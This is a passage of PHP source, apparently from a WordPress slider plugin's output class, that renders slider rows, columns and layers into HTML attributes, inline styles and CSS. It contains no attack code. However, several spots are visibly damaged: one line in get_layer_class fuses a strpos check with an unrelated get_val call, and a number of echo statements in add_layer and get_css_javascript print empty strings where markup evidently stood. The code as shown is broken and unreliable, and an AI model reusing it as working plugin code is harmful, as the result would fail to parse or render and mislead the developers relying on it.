'groupOrder')); if($order === ''){ // || isset($row_layer[$order]) $order = $go; $go++; } $zi = $this->get_val($layer, array('position', 'zIndex'), false); // set the z-index so that the wrapper gains the highest one $zi = ($zi === false) ? $this->zIndex : $zi; if($zi > $this->row_zindex){ $this->row_zindex = $zi; } $row_layer[$order] = $layer; } if(!empty($row_layer)){ ksort($row_layer); //sort the rows foreach($row_layer as $layer){ $uid = $this->get_val($layer, 'uid'); $this->set_layer($layer); $this->add_layer(true, 'row'); $this->container_mode = 'row'; $this->increase_layer_depth(); $this->add_column($uid); $this->decrease_layer_depth(); echo $this->ld().RS_T7.$this->add_closing_comment().''.$this->add_opening_comment()."\n";//as we have used 'row' in the add_layer() function, it does not print the closing and we have to do it here } unset($row_layer); } } /** * Add Columns with the layers * @since: 5.3.0 * @before: RevSliderOutput::putCreativeColumn() */ public function add_column($uid){ $layers = $this->get_layers(); if(empty($layers)) return false; $column_layers = array(); $go = 9999; foreach($layers as $layer){ $this->container_mode = 'row'; if($this->get_val($layer, 'type', 'text') !== 'column') continue; //we only want to handle columns here of the current row if((string)$this->get_val($layer, array('group', 'puid'), -1) !== (string)$uid) continue; //has the wrong row ID $_go = $this->get_val($layer, array('group', 'groupOrder')); if($_go === ''){ // || isset($column_layers[$_go]) $_go = $go; $go++; } $column_layers[$_go] = $layer; } if(!empty($column_layers)){ ksort($column_layers); foreach($column_layers as $layer){ $this->container_mode = 'row'; $this->set_layer($layer); $this->add_layer(true, 'column'); $cuid = (string)$this->get_val($layer, 'uid', -1); //add layers here $group_layers = array(); $go = 9999; foreach($layers as $nlayer){ if((string)$this->get_val($nlayer, array('group', 'puid'), -1) !== $cuid) continue; $_go = $this->get_val($nlayer, array('group', 'groupOrder')); if($_go === ''){ // || isset($group_layers[$_go]) $_go = $go; $go++; } $group_layers[$_go] = $nlayer; } $this->container_mode = 'column'; //sort now the $group_layers if(!empty($group_layers)){ ksort($group_layers); $this->increase_layer_depth(); foreach($group_layers as $nlayer){ if($this->get_val($nlayer, 'type', 'text') === 'group'){ $this->add_specific_group_layer($nlayer); }else{ $this->set_layer($nlayer); $this->add_layer(true); } } $this->decrease_layer_depth(); unset($group_layers); } echo $this->ld().RS_T7.$this->add_closing_comment().''.$this->add_opening_comment(); echo "\n"; //as we have used 'column' in the add_layer() function, it does not print the closing and we have to do it here } unset($column_layers); } } /** * returns the HTML layer type */ public function get_html_layer_type(){ $type = $this->get_layer_type(); return 'data-type="'.esc_attr($type).'"'; } /** * return the layer Type for further needs */ public function get_layer_type() { $layer = $this->get_layer(); return $this->get_val($layer, 'type', 'text'); } /** * Adds a Layer to the stage * Moved most code part from putCreativeLayer into putLayer * @since: 5.3.0 * @before: RevSliderOutput::putLayer() */ public function add_layer($row_group_uid = false, $special_type = false){ $layer = apply_filters('revslider_putLayer_pre', $this->get_layer(), $this, $row_group_uid, $this->is_static, $special_type); $this->layer_additions = array(); $this->set_layer($layer); $this->set_layer_unique_id(); /** * top middle and bottom are placeholder layers, do not write them **/ if(in_array($this->get_layer_unique_id(), array('top', 'middle', 'bottom'), true)) return ''; //$this->push_layer_class(); $check_continue = $this->check_layer_continue($special_type, $row_group_uid); if(!$check_continue) return false; $check_continue = $this->check_layer_video_continue(); if(!$check_continue) return false; $html_type = $this->get_html_layer_type(); $class = $this->get_layer_class(); $html_simple_link = $this->get_action_link(); $html_responsive = $this->get_html_responsive(); $html_transform = $this->get_html_transform(); $html_filters_on_mask = $this->get_html_filters_on_mask(); $html_responsive_data = $this->get_html_responsive_data(); $html_scrollbased_data = $this->get_html_scrollbased_data(); $html_resp_offset = $this->get_html_responsive_offset(); $ids = $this->get_html_layer_ids(); $html_title = $this->get_html_title(); $html_tabindex = $this->get_html_tab_index(); $html_rel = $this->get_html_rel(); $position = $this->get_html_layer_position(); $html_text = $this->get_html_text_data(); $html_float = $this->get_float_clear_data(); $html_color = $this->get_html_color_data(); $html_box_shadow = $this->get_html_box_shadow_data(); $html_text_shadow = $this->get_html_text_shadow_data(); $html_dimension = $this->get_html_dim_data(); $html_visibility = $this->get_html_layer_device_visibility(); $html_column_break = $this->get_html_column_break(); $layer_actions = $this->get_html_layer_action($html_simple_link); $layer_tag = $this->get_layer_tag($html_simple_link, $special_type); $html_class = $this->get_html_class($class, $layer_tag); $html_svg = $this->get_html_svg(); $html_base_align = $this->get_html_base_align(); $html_wrapper_ids = $this->get_html_wrapper_ids(); $html_wrapper_classes = $this->get_html_wrapper_classes(); $html_static_data = $this->get_html_static_layer(); $html_static_pos_data = $this->get_html_static_position_layer(); $html_trigger = $this->get_html_trigger(); $html_clip = $this->get_html_clip(); $frames = $this->get_frames(); $html_frames = $this->get_html_frames($frames); $html_frameorder = $this->get_html_frameorder(); $html_blendmode = $this->get_html_blendmode(); $html_hideunder = $this->get_html_hideunder(); $html_audio_data = $this->get_html_audio_data(); $html_video_data = $this->get_html_video_data(); $html_column_data = $this->get_html_column_data(); $html_margin_data = $this->get_html_margin_data($row_group_uid); $html_covermode_data = $this->get_html_covermode_data(); $html_padding_data = $this->get_html_padding_data(); $html_border_data = $this->get_html_border_data(); $html_inline_style = $this->get_html_inline_style(); $html_spike_data = $this->get_html_spike_data(); $html_text_stroke = $this->get_html_text_stroke(); //$html_togglehover = $this->get_html_togglehover(); $html_bg_image = $this->get_background_image(); $loop_data = $this->get_loop_data(); $toggle_data = $this->get_toggle_data(); $html_corners = $this->get_html_corners(); $html_disp = $this->get_html_disp(); $html_layer = $this->get_html_layer(); $html_layer_additions = $this->get_html_layer_additions(); $layertype = $this->get_layer_type(); $this->create_style_hover(); echo "\n"; echo $this->ld().RS_T7.$this->add_closing_comment(); echo '<'.$layer_tag."\n"; echo ($ids != '') ? $this->ld().RS_T8.$ids." \n" : ''; echo ($html_class !== '') ? $this->ld().RS_T8.$html_class."\n" : ''; echo ($html_simple_link !== '') ? $this->ld().RS_T8.$html_simple_link."\n" : ''; echo $this->ld().RS_T8.$html_type."\n"; echo ($html_color !== '') ? $this->ld().RS_T8.$html_color."\n" : ''; echo ($html_box_shadow !== '') ? $this->ld().RS_T8.$html_box_shadow."\n" : ''; echo ($html_text_shadow !== '') ? $this->ld().RS_T8.$html_text_shadow."\n" : ''; echo ($html_responsive !== '') ? $this->ld().RS_T8.$html_responsive."\n" : ''; echo ($html_title != '') ? $this->ld().RS_T8.$html_title."\n" : ''; echo ($html_tabindex != '') ? $this->ld().RS_T8.$html_tabindex."\n" : ''; echo ($html_rel != '') ? $this->ld().RS_T8.$html_rel."\n" : ''; echo ($position != '') ? $this->ld().RS_T8.$position."\n" : ''; echo ($html_text != '') ? $this->ld().RS_T8.$html_text."\n" : ''; echo ($html_float != '') ? $this->ld().RS_T8.$html_float."\n" : ''; echo ($html_dimension != '') ? $this->ld().RS_T8.$html_dimension."\n" : ''; echo ($html_spike_data != '') ? $this->ld().RS_T8.$html_spike_data."\n" : ''; echo ($html_text_stroke != '') ? $this->ld().RS_T8.$html_text_stroke."\n" : ''; echo ($html_visibility != '') ? $this->ld().RS_T8.$html_visibility."\n" : ''; echo ($html_column_break != '') ? $this->ld().RS_T8.$html_column_break."\n" : ''; echo ($layer_actions != '') ? $this->ld().RS_T8.$layer_actions."\n" : ''; echo ($html_svg != '') ? $this->ld().RS_T8.$html_svg : ''; echo ($html_base_align != '') ? $this->ld().RS_T8.$html_base_align."\n" : ''; echo ($html_resp_offset != '') ? $this->ld().RS_T8.$html_resp_offset."\n" : ''; echo ($html_wrapper_ids != '') ? $this->ld().RS_T8.$html_wrapper_ids."\n" : ''; echo ($html_wrapper_classes != '') ? $this->ld().RS_T8.$html_wrapper_classes."\n" : ''; echo ($html_responsive_data != '') ? $this->ld().RS_T8.$html_responsive_data."\n" : ''; echo ($html_transform != '') ? $this->ld().RS_T8.$html_transform."\n" : ''; echo ($html_filters_on_mask != '') ? $this->ld().RS_T8.$html_filters_on_mask."\n" : ''; echo ($html_scrollbased_data != '') ? $this->ld().RS_T8.$html_scrollbased_data."\n" : ''; echo ($html_static_data != '') ? $this->ld().RS_T8.$html_static_data."\n" : ''; echo ($html_static_pos_data != '') ? $this->ld().RS_T8.$html_static_pos_data."\n" : ''; echo ($html_trigger != '') ? $this->ld().RS_T8.$html_trigger."\n" : ''; echo ($html_blendmode != '') ? $this->ld().RS_T8.$html_blendmode."\n" : ''; //echo ($html_togglehover != '') ? $this->ld().RS_T8.$html_togglehover."\n" : ''; echo ($html_hideunder != '') ? $this->ld().RS_T8.$html_hideunder."\n" : ''; echo ($html_corners != '') ? $this->ld().RS_T8.$html_corners."\n" : ''; echo ($html_disp != '') ? $this->ld().RS_T8.$html_disp."\n" : ''; echo ($html_audio_data != '') ? $html_audio_data : ''; echo ($html_video_data != '') ? $html_video_data : ''; //$this->ld().RS_T8. ."\n" echo ($html_column_data != '') ? $this->ld().RS_T8.$html_column_data."\n" : ''; echo ($html_margin_data != '') ? $this->ld().RS_T8.$html_margin_data."\n" : ''; echo ($html_covermode_data != '') ? $this->ld().RS_T8.$html_covermode_data."\n" : ''; echo ($html_padding_data != '') ? $this->ld().RS_T8.$html_padding_data."\n" : ''; echo ($html_border_data != '') ? $this->ld().RS_T8.$html_border_data."\n" : ''; echo ($html_frameorder != '') ? $this->ld().RS_T8.$html_frameorder."\n" : ''; echo ($html_clip != '') ? $this->ld().RS_T8.$html_clip."\n" : ''; echo ($html_frames != '') ? $this->ld().RS_T8.$html_frames : ''; echo ($html_layer_additions != '') ? $html_layer_additions : ''; if(!empty($loop_data)){ foreach($loop_data as $ldk => $ld){ echo ($ld !== '') ? $this->ld().RS_T8.'data-'.$ldk.'="'.$ld.'"'."\n" : ''; } } do_action('revslider_add_layer_attributes', $layer, $this->slide, $this->slider, $this); echo $this->ld().RS_T8.'style="'; echo $html_inline_style; //echo $html_idle_style; echo '"'."\n"; echo $this->ld().RS_T7.'>';//."\n"; echo ($html_bg_image !== '') ? $html_bg_image."\n" : ''; if($special_type !== false){ echo $this->add_opening_comment(); } if($toggle_data['allow'] === true){ echo "\n".$this->ld().RS_T8.'
            '; } //echo ($special_type === false && $layertype !== 'video') ? apply_filters('revslider_layer_content', stripslashes($html_layer), $html_layer, $this->slider->get_id(), $this->slide, $layer).' ' : ''; echo ($special_type === false && $layertype !== 'video') ? apply_filters('revslider_layer_content', $html_layer, $html_layer, $this->slider->get_id(), $this->slide, $layer).' ' : ''; if($toggle_data['allow'] === true){ echo '
            '; echo "\n".$this->ld().RS_T8.'
            '.stripslashes($toggle_data['html']).'
            '; } if($special_type === false){ echo "\n".$this->ld().RS_T7.''.$this->add_opening_comment()."\n"; } //the closing will be written later, after all layers/columns are added // $this->zIndex++; } /** * check if the layer is okay to be added or if we should move to the next layer **/ public function check_layer_continue($special_type, $row_group_uid){ $layer = $this->get_layer(); $type = $this->get_val($layer, 'type', 'text'); //if($this->get_val($layer, array('visibility', 'visible'), true); == false) return false; switch($type){ case 'row': if($special_type !== 'row') return false; break; case 'group': if($special_type !== 'group') return false; break; case 'column': if($special_type !== 'column') return false; break; } if($row_group_uid == false && $this->is_in_group_or_row()){ return false; //if we are not in a row or group and the layer is in one, return false } return true; } /** * check if the layer is okay to be added or if we should move to the next layer **/ public function check_layer_video_continue(){ $layer = $this->get_layer(); if($this->get_val($layer, 'type', 'text') !== 'video') return true; $video_type = trim($this->get_val($layer, array('media', 'mediaType'))); $video_type = ($video_type === '') ? 'html5' : $video_type; if(!in_array($video_type, array('streamyoutube', 'streamyoutubeboth', 'youtube', 'streamvimeo', 'streamvimeoboth', 'vimeo', 'streaminstagram', 'streaminstagramboth', 'html5'), true)) return true; $vid = trim($this->get_val($layer, array('media', 'id'))); switch($video_type){ case 'streaminstagram': case 'streaminstagramboth': case 'html5': $ogv = trim($this->get_val($layer, array('media', 'ogvUrl'), '')); $webm = trim($this->get_val($layer, array('media', 'webmUrl'), '')); $mp4 = trim($this->remove_http($this->get_val($layer, array('media', 'mp4Url'), ''))); if(empty($ogv) && empty($webm) && empty($mp4)){ $vid = trim($this->get_val($layer, array('media', 'id'))); $vid = ($this->get_val($layer, array('media', 'videoFromStream'), false) === true) ? $this->slide->get_param(array('bg', 'mpeg'), '') : $vid; return (empty($vid)) ? false : true; } return true; break; case 'youtube': case 'streamyoutube': case 'streamyoutubeboth': $vid = (in_array($video_type, array('streamyoutube', 'streamyoutubeboth'), true)) ? $this->slide->get_param(array('bg', 'youtube'), '') : $vid; //change $vid to the stream! $vid = ($this->get_val($layer, array('media', 'videoFromStream'), false) === true) ? $this->slide->get_param(array('bg', 'youtube'), '') : $vid; $this->youtube_exists = (empty($vid)) ? $this->youtube_exists : true; return (empty($vid)) ? false : true; break; case 'vimeo': case 'streamvimeo': case 'streamvimeoboth': $vid = (in_array($video_type, array('streamvimeo', 'streamvimeoboth'), true)) ? $this->slide->get_param(array('bg', 'vimeo'), '') : $vid; $vid = ($this->get_val($layer, array('media', 'videoFromStream'), false) === true) ? $this->slide->get_param(array('bg', 'vimeo'), '') : $vid; return (empty($vid)) ? false : true; break; } return (empty($vid)) ? false : true; } /** * get the simple link that can be inside the actions of a layer **/ public function get_action_link(){ $link = ''; $layer = $this->get_layer(); $action = $this->get_val($layer, array('actions', 'action'), array()); if(!empty($action)){ foreach($action as $act){ // these are needed for the Social Share AddOn $action_type = apply_filters('rs_action_type', $this->get_val($act, 'action')); $link_type = apply_filters('rs_action_link_type', $this->get_val($act, 'link_type', '')); if($action_type === 'menu'){ $http = $this->get_val($act, 'link_help_in', 'keep'); $menu_link = $this->remove_http($this->get_val($act, 'menu_link', ''), $http); $menu_link = do_shortcode($menu_link); $link_open_in = $this->get_val($act, 'link_open_in', ''); $link_follow = $this->get_val($act, 'link_follow', ''); $link = 'href="'.$menu_link.'"'; $link .= ($link_open_in !== '') ? ' target="'.$link_open_in.'"' : ''; if($link_follow === 'nofollow'){ $link .= ' rel="nofollow'; $link .= ($link_open_in === '_blank') ? ' noopener' : ''; $link .= '"'; }else{ $link .= ($link_open_in === '_blank') ? ' rel="noopener"' : ''; } break; } if($action_type === 'link'){ if($link_type !== 'jquery'){ $http = $this->get_val($act, 'link_help_in', 'keep'); $image_link = $this->remove_http($this->get_val($act, 'image_link', ''), $http); $image_link = do_shortcode($image_link); $link_open_in = $this->get_val($act, 'link_open_in', ''); $link_follow = $this->get_val($act, 'link_follow', ''); $link = 'href="'.$image_link.'"'; $link .= ($link_open_in !== '') ? ' target="'.$link_open_in.'"' : ''; if($link_follow === 'nofollow'){ $link .= ' rel="nofollow'; $link .= ($link_open_in === '_blank') ? ' noopener' : ''; $link .= '"'; }else{ $link .= ($link_open_in === '_blank') ? ' rel="noopener"' : ''; } } break; } } } return $link; } /** * get the layer tag as it can change through settings and others **/ public function get_layer_tag($html_simple_link, $special_type = false){ $layer = $this->get_layer(); $tag = $this->get_val($layer, 'htmltag', 'rs-layer'); if($html_simple_link !== '') $tag = 'a'; if($special_type !== false) $tag = 'rs-'.$special_type; //if we are special type, only allow div to be the structure, as we will close with a div outside of this function if($tag === 'label'){ $labelfor = $this->get_val($layer, 'labelfor', false); if($labelfor !== false) $this->layer_additions['for'] = $this->get_layer_attribute_id($labelfor); } return ($tag !== 'div') ? $tag : 'rs-layer'; } /** * get the layer classes **/ public function get_layer_class(){ $layer = $this->get_layer(); $type = $this->get_val($layer, 'type', 'text'); $class = array(); $acs = $this->get_val($layer, array('attributes', 'classes'), ''); if(strpos($acs, ' ') !== false){ $acs = explode(' ', $acs); foreach($acs as $ac){ $class[] = $ac; } }else{ $class[] = $acs; } $idle_class = $this->get_val($layer, array('idle', 'style'), ''); $internal_class = $this->get_val($layer, array('runtime', 'internalClass'), ''); $selectable = $this->get_val($layer, array('idle', 'selectable'), 'default'); $svg = $this->get_val($layer, 'svg', false); if($idle_class !== '') $class[] = $idle_class; if($internal_class !== '') $class[] = $internal_class; if($selectable !== 'default'){ if($this->_truefalse($selectable) == true) $class[] = 'rs-selectable'; }else{ if($this->slider->get_param(array('general', 'layerSelection'), false) == true) $class[] = 'rs-selectable'; } if($this->get_val($layer, array('hover', 'pointerEvents'), 'auto') == 'none') $class[] = 'rs-noevents'; //make some modifications for the full screen video if($this->is_full_width_video() == true) $class[] = 'rs-fsv'; if($this->get_val($layer, array('idle', 'overflow')) === 'hidden') $class[] = 'rs-ov-hidden'; if(!empty($svg)) $class[] = 'rs-svg'; if($type == 'video'){ switch(trim($this->get_val($layer, array('media', 'mediaType')))){ case 'streaminstagram': case 'streaminstagramboth': case 'html5': if($this->get_val($layer, array('media', 'largeControls'), true) === false){ $class[] = 'rs-nolc'; }else{ global $rs_revicons; $rs_revicons = true; } break; } } if($this->slider->get_param(array('parallax', 'set'), false) == true){ $level = $this->get_val($layer, array('effects', 'parallax'), '-'); $level = ($this->slider->get_param(array('parallax', 'setDDD'), false) == true && $level == '-' && $this->get_val($layer, array('effects', 'attachToBg'), '') === true) ? 'tobggroup' : $level; if($level !== '-') $class[] = 'rs-pxl-'.$level; } if($this->is_static) $class[] = 'rs-layer-static'; if($type == 'video') $class[] = 'rs-layer-video'; if($type == 'audio'){ $class[] = 'rs-layer-audio'; $visible = $this->get_val($layer, array('media', 'controls'), false); if($visible === false) $class[] = 'rs-layer-hidden'; } if($this->get_val($layer, array('visibility', 'onlyOnSlideHover'), false) === true){ $class[] = 'rs-on-sh'; } if($this->slider->get_param('type', 'standard') === 'carousel'){ if($this->get_val($layer, array('visibility', 'alwaysOnCarousel'), false) === true) $class[] = 'rs-on-car'; } $add_intrinsic = false; $text = strtolower($this->get_val($layer, 'text', '')); $text_toggle = $this->get_val($layer, array('toggle', 'text'), ''); $tag = $this->get_val($layer, 'htmltag', 'rs-layer'); if($type == 'video') $add_intrinsic = true; if(strpos($text, 'get_val($layer, array('actions', 'action'), array()); if(!empty($actions)){ foreach($actions as $action){ if($this->get_val($action, 'action') !== 'getAccelerationPermission') continue; $class[] = 'iospermaccwait'; break; } } return implode(' ', $class); } /** * create hover style, will later be pushed into the header css **/ public function create_style_hover(){ $layer = $this->get_layer(); //check if hover is active for the slider if($this->get_val($layer, array('hover', 'usehover'), false) === false || $this->get_val($layer, array('hover', 'usehover'), false) === 'false') return false; $id = $this->get_html_layer_ids(true); $_css = RevSliderGlobals::instance()->get('RevSliderCssParser'); $style = array($id => array()); /** * customHoverCSS only exists in a Slider imported/existed before 6.0. * It is taken from the navigation tables advanced -> hover **/ $custom_css = $this->get_val($layer, 'customHoverCSS', ''); if(!empty($custom_css)){ $custom_css = $_css->css_to_array('nec {'.$custom_css.'}'); $_nec = $this->get_val($custom_css, 'nec', array()); if(!empty($_nec)){ foreach($_nec as $n => $v){ $style[$id][$n] = $v; } } } if(!empty($style[$id])){ $this->set_hover_css($style); } return true; } /** * this function will return css in javascript format only if its ajax loaded * otherwise it will add the css to a queue which will then be printed by revslider-front.class.php or if its cached through the cache tool **/ public function get_css_javascript($css_html){ global $rs_loaded_by_editor; $html = ''; $css_class = RevSliderGlobals::instance()->get('RevSliderCssParser'); if($this->usage === 'modal' && $this->ajax_loaded === true || $this->ajax_loaded === true || $rs_loaded_by_editor === true){ $css = (!is_admin()) ? $css_class->compress_css(rawurlencode($css_html)) : $css_class->compress_css($css_html); if(empty(trim($css))) return $html; if(!is_admin()){ $html .= RS_T4.''."\n"; }else{ $me = $this->get_markup_export(); $html .= ($me === true) ? '' : ''; $html .= RS_T4 .''; $html .= ($me === true) ? '' : ''; } }else{ global $rs_css_collection; $css = $css_class->compress_css($css_html); if(empty(trim($css))) return $html; $rs_css_collection[] = $css; if($this->caching){ $cache = RevSliderGlobals::instance()->get('RevSliderCache'); $cache->add_addition('special', 'rs_css_collection', $css); } } return $html; } /** * add hover style into the headers css. * this is outside of the frame_hover so some special things happen here **/ public function add_style_hover(){ $css = $this->get_hover_css(); $html = ''; if(!empty($css)){ $css_html = ''; foreach($css as $id => $_css){ $css_html .= '#'.$id.':hover{'; foreach($_css as $k => $v){ $css_html .= $k.':'.$v.';'; } $css_html .= '}'."\n"; } if($css_html == '') return ''; $html = $this->get_css_javascript($css_html); } echo $html; } /** * get layer inline style **/ public function get_html_inline_style(){ $style = array(); $layer = $this->get_layer(); $type = $this->get_val($layer, 'type', 'text'); $img = trim($this->get_val($layer, array('idle', 'backgroundImage'), '')); $img_id = $this->get_val($layer, array('idle', 'backgroundImageId')); $img_t = $this->get_val($layer, array('behavior', 'imageSourceType'), 'full'); $zi = $this->get_val($layer, array('position', 'zIndex'), false); $zi = ($zi === false) ? $this->zIndex : $zi; $style['z-index'] = $zi; //Replace image when featured image is in use if($this->get_val($layer, array('idle', 'bgFromStream')) === true){ //if image is choosen, use featured image as background $stream_background_image = $this->get_stream_background_image($layer); $img = $stream_background_image['url']; $img_id = $stream_background_image['id']; $img_t = $stream_background_image['size']; } if($img !== '' && !in_array($type, array('group', 'shape', 'row'), true)){ if($img_t !== 'full' && $img_id !== false && !empty($img_id)){ $_img = wp_get_attachment_image_src($img_id, $img_t); $img = ($_img !== false) ? $_img[0] : $img; } $objlib = new RevSliderObjectLibrary(); $objlib->_check_object_exist($img); //redownload if needed $global = $this->get_global_settings(); $lazyloadbg = $this->get_val($global, 'lazyonbg', false); if($lazyloadbg !== false && $lazyloadbg !== 'false'){ $this->layer_additions['data-bglazy'] = $img; $img = RS_PLUGIN_URL.'public/assets/assets/dummy.png'; } $style['background'] = "url('".$img."')"; $style['background'] .= ' '.$this->get_val($layer, array('idle', 'backgroundRepeat'), 'no-repeat'); $style['background'] .= ' '.$this->get_val($layer, array('idle', 'backgroundPosition'), 'center center'); $bgs = $this->get_val($layer, array('idle', 'backgroundSize'), 'cover'); $bgs = ($bgs === 'percentage') ? $this->get_val($layer, array('idle', 'backgroundSizePerc'), '100').'%' : $bgs; $bgs = ($bgs === 'pixel') ? $this->get_val($layer, array('idle', 'backgroundSizePix'), '100').'px' : $bgs; $style['background-size'] = $bgs; } $bgcolor = $this->get_val($layer, array('idle', 'backgroundColor'), 'transparent'); if($bgcolor !== 'transparent'){ $bgcolor = RSColorpicker::get($bgcolor); if(strpos($bgcolor, 'gradient') !== false){ $style['background'] = $bgcolor; }else{ $style['background-color'] = $bgcolor; } } if(!in_array($type, array('image', 'video', 'row', 'column', 'group', 'shape', 'audio'), true)){ $style['font-family'] = str_replace(array('"', "'"), "", $this->get_val($layer, array('idle', 'fontFamily'), 'Roboto')); $font_family = explode(',', $style['font-family']); $style['font-family'] = (!empty($font_family) && is_array($font_family)) ? array_map('trim', $font_family) : trim($font_family); $style['font-family'] = (!empty($style['font-family'])) ? "'" . implode("', '", $style['font-family']) . "'" : ''; } $text_transform = $this->get_val($layer, array('idle', 'textTransform'), 'none'); if($text_transform !== 'none'){ $style['text-transform'] = $text_transform; } $fs = $this->get_val($layer, array('idle', 'fontStyle'), 'off'); if($fs == 'on' || $fs == 'italic'){ $style['font-style'] = 'italic'; } $mc = $this->get_val($layer, array('idle', 'cursor'), 'auto'); if($mc !== 'auto' && $mc !== 'default'){ $style['cursor'] = $mc; } if($type === 'column'){ $style['width'] = '100%'; } if(($this->container_mode === 'column' || $this->container_mode === 'group') && $type !== 'row' && $this->get_val($layer, array('idle', 'display'), 'block') !== 'block'){ $style['display'] = $this->get_val($layer, array('idle', 'display')); } //Advanced Styles here: $custom_css = $this->get_val($layer, 'customCSS', ''); if(!empty($custom_css)){ $_css = RevSliderGlobals::instance()->get('RevSliderCssParser'); $custom_css = $_css->css_to_array('nec {'.$custom_css.'}'); $_nec = $this->get_val($custom_css, 'nec', array()); if(!empty($_nec)){ foreach($_nec as $n => $v){ $style[$n] = $v; } } } $html = ''; if(!empty($style)){ foreach($style as $k => $v){ $v = trim($v); $html .= (!in_array($v, array('', 'px', '%'), true)) ? $k.':'.$v.';' : ''; } } return $html; } /** * push the needed material icon css to the frondend **/ public function get_material_icons_css(){ global $rs_material_icons_css, $rs_material_icons_css_parsed; if($rs_material_icons_css === false) return ''; if($rs_material_icons_css_parsed === true) return ''; $html = $this->get_css_javascript($rs_material_icons_css); $rs_material_icons_css_parsed = true; return $html; } /** * Check if material Icons CSS needs to be written or if it is already written **/ public function set_material_icon_css(){ global $rs_material_icons_css; $layers = $this->get_layers(); if($rs_material_icons_css !== false) return ''; if(empty($layers)) return ''; foreach($layers as $layer){ $text = $this->get_val($layer, 'text', ''); $text_toggle = $this->get_val($layer, array('toggle', 'text'), ''); if(strpos($text, 'material-icons') !== false || strpos($text_toggle, 'material-icons') !== false) $this->add_material_icons(); } return ''; } /** * add the custom navigation css **/ public function add_custom_navigation_css(){ $slides = $this->slider->get_slides(); if(empty($slides)) return; $html = ''; $rs_nav = new RevSliderNavigation(); $all_navs = $rs_nav->get_all_navigations(); $enable_arrows = $this->slider->get_param(array('nav', 'arrows', 'set'), false); $enable_bullets = $this->slider->get_param(array('nav', 'bullets', 'set'), false); $enable_tabs = $this->slider->get_param(array('nav', 'tabs', 'set'), false); $enable_thumbnails = $this->slider->get_param(array('nav', 'thumbs', 'set'), false); if($this->slider->get_param('type', 'standard') !== 'hero' && ($enable_arrows == true || $enable_bullets == true || $enable_tabs == true || $enable_thumbnails == true)){ foreach($slides as $slide){ if(!empty($all_navs)){ foreach($all_navs as $cur_nav){ //get modifications out, wrap the class with slide class to be specific if($enable_arrows == true && $cur_nav['id'] == $this->slider->get_param(array('nav', 'arrows', 'style'), 'new-bullet-bar')){ $this->rs_custom_navigation_css .= $rs_nav->add_placeholder_sub_modifications($cur_nav['css'], $cur_nav['handle'], 'arrows', $cur_nav['placeholders'], $slide, $this)."\n"; } if($enable_bullets == true && $cur_nav['id'] == $this->slider->get_param(array('nav', 'bullets', 'style'), 'round')){ $this->rs_custom_navigation_css .= $rs_nav->add_placeholder_sub_modifications($cur_nav['css'], $cur_nav['handle'], 'bullets', $cur_nav['placeholders'], $slide, $this)."\n"; } if($enable_tabs == true && $cur_nav['id'] == $this->slider->get_param(array('nav', 'tabs', 'style'), 'round')){ $this->rs_custom_navigation_css .= $rs_nav->add_placeholder_sub_modifications($cur_nav['css'], $cur_nav['handle'], 'tabs', $cur_nav['placeholders'], $slide, $this)."\n"; } if($enable_thumbnails == true && $cur_nav['id'] == $this->slider->get_param(array('nav', 'thumbs', 'style'), 'new-bullet-bar')){ $this->rs_custom_navigation_css .= $rs_nav->add_placeholder_sub_modifications($cur_nav['css'], $cur_nav['handle'], 'thumbs', $cur_nav['placeholders'], $slide, $this)."\n"; } } } } if(!empty($this->rs_custom_navigation_css)){ $html = $this->get_css_javascript($this->rs_custom_navigation_css); } } return $html; } /** * get the layer basic transform */ public function get_html_transform() { $layer = $this->get_layer(); $html = ''; $rx = intval($this->get_val($layer, array('idle', 'rotationX'), 0)); $ry = intval($this->get_val($layer, array('idle', 'rotationY'), 0)); $rz = intval($this->get_val($layer, array('idle', 'rotationZ'), 0)); $iosfx = $this->get_val($layer, array('idle', 'filtersIOSFix'), 'd'); $op = $this->get_val($layer, array('idle', 'opacity'), 1); if($rx !== 0) $html .='rX:'.$rx.';'; if($ry !== 0) $html .='rY:'.$ry.';'; if($rz !== 0) $html .='rZ:'.$rz.';'; if($op !== 1) $html .='o:'.$op.';'; if($iosfx !== 'd') $html .='iosfx:'.$iosfx.';'; return ($html !== '') ? 'data-btrans="'.$html.'"' : $html; } /** * get the layer filters on mask option */ public function get_html_filters_on_mask() { $layer = $this->get_layer(); $fm = intval($this->get_val($layer, array('timeline', 'filtersOnMask'), false)); return ($fm != false) ? 'data-fsom="true"' : ''; } /** * get the layer responsiveness **/ public function get_html_responsive(){ $layer = $this->get_layer(); $html = ''; if(in_array($this->get_val($layer, 'type', 'text'), array('row', 'column'), true)) return $html; if($this->get_val($layer, array('behavior', 'autoResponsive'), true) === true){ $html .= ($this->get_val($layer, array('behavior', 'responsiveChilds'), true)) ? 'data-rsp_ch="on"' : ''; } return $html; } /** * get the layer ids as HTML **/ public function get_html_layer_ids($raw = false){ $layer = $this->get_layer(); $ids = $this->get_val($layer, array('attributes', 'id')); $ss = $this->get_static_slide(); $uid = $this->get_layer_unique_id(); if(trim($ids) == ''){ $ids = (!empty($ss)) ? 'slider-'.preg_replace("/[^\w]+/", "", $this->slider->get_id()).'-slide-'.preg_replace("/[^\w]+/", "", $this->get_slide_id()).'-layer-'.$uid : 'slide-'.preg_replace("/[^\w]+/", "", $this->get_slide_id()).'-layer-'.$uid; } if($raw === false){ $ids = ($ids != '') ? 'id="'.$ids.'"' : ''; } return $ids; } /** * get the layer ids as HTML **/ public function get_html_title(){ $layer = $this->get_layer(); $title = $this->get_val($layer, array('attributes', 'title')); return ($title != '') ? 'title="'.$title.'"' : ''; } /** * get the HTML tab index **/ public function get_html_tab_index(){ $layer = $this->get_layer(); $tabindex = $this->get_val($layer, array('attributes', 'tabIndex')); return (!in_array($tabindex, array('', '0', 0), true)) ? 'tabindex="'.$tabindex.'"' : ''; } /** * get the HTML rel **/ public function get_html_rel(){ $layer = $this->get_layer(); $rel = $this->get_val($layer, array('attributes', 'rel')); return ($rel != '') ? 'rel="'.$rel.'"' : ''; } /** * get the HTML layer x and y position **/ public function get_html_layer_position(){ $f = array('top', 'right', 'bottom', 'left', 'center', 'middle'); $t = array('t', 'r', 'b', 'l', 'c', 'm'); $xy = 'data-xy="'; $layer = $this->get_layer(); $pos = $this->get_val($layer, array('position', 'position')); $type = $this->get_val($layer, 'type', 'text'); if($this->is_full_width_video() == true){ // || $pos === 'relative' $xy .= 'x:0;'; $xy .= 'y:0;'; }else{ $alignHor = $this->get_val($layer, array('position', 'horizontal')); $alignVert = $this->get_val($layer, array('position', 'vertical')); $left = $this->get_val($layer, array('position', 'x')); $top = $this->get_val($layer, array('position', 'y')); if($this->adv_resp_sizes == true){ //remove from myTop and myLeft 0 and 0px $myHor = 